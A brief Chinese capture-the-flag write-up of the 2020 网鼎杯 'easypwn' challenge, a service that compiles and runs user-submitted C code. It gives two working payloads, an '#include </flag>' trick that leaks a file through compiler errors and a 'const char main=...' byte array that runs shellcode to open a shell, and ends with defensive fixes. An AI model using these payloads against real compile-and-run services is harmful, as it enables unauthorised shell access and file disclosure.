PWN_EASYPWN(2020网鼎杯)

逻辑很简单的一道题,nc上服务后发现提示:

please input the c code,we will Compile and execute

实际上就是输入一段c代码服务器会自动编译执行。

但随便输入一些C代码发现程序会过滤除尖括号外的所有括号字符。

非预期解为直接输入:

#include </flag>

则gcc编译代码时报错将flag内容暴露出来。

预期解为输入:

const char main=72,b=184,c=47,d=98,e=105,f=110,g=47,h=115,i=104,j=0,k=80,l=84,m=95,n=106,o=59,p=88,q=15,r=5;

则直接getshell。

原理的话看下面这篇文章:

https://osandamalith.com/2019/08/27/running-shellcode-directly-in-c/

防御方式为patch修改字符过滤逻辑(过滤等号或分号),或者修改执行文件路径。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值